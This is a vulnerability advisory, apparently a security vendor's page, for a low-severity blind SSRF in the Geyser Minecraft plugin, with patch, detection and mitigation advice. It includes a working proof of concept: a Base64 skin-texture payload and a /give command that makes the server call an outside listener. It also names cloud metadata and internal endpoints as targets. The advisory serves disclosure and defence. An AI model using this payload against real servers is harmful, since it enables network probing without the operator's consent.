CVE-2026-42188 — core
LOWCVE-2026-42188 is a low-severity (CVSS 2.4) vulnerability in org.geysermc.geyser:core. A fix is available for org.geysermc.geyser:core — see the affected versions and patch details below.
Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42188.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42188 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.geysermc.geyser:coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.
Details
Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.
When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.
PoC
-
Setup Environment:
- Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
- Ensure you have a Bedrock client connected.
-
Prepare Listener:
- Go to webhook.site and obtain a unique URL (e.g.,
https://webhook.site/YOUR-UUID).
- Go to webhook.site and obtain a unique URL (e.g.,
-
Construct Payload:
- Create a JSON payload pointing to your listener URL:
{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}} - Encode this JSON string to Base64.
(You can use a terminal command:
echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)
- Create a JSON payload pointing to your listener URL:
-
Execute Command:
- Run the following command in the Bedrock Edition client:
/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]
- Run the following command in the Bedrock Edition client:
-
Verify:
- Check the webhook.site dashboard.
- You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.
Impact
This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.
Affected Parties
- Minecraft servers running Geyser
- Server operators exposing internal or cloud metadata endpoints
Potential Impacts
- Internal network probing (e.g., intranet services, admin panels)
- Cloud metadata access attempts (e.g., 169.254.169.254)
- IP address disclosure of the Minecraft server
- Abuse of the server as an HTTP request proxy
Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:
- Network mapping
- Firewall bypass attempts
- Cloud environment fingerprinting
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.geysermc.geyser:core | all versions | 2.9.3org.geysermc.geyser:core:2.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geysermc.geyser:core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.geysermc.geyser:core to 2.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42188 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42188 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42188. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42188 in your dependencies?
O3 Security finds CVE-2026-42188 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.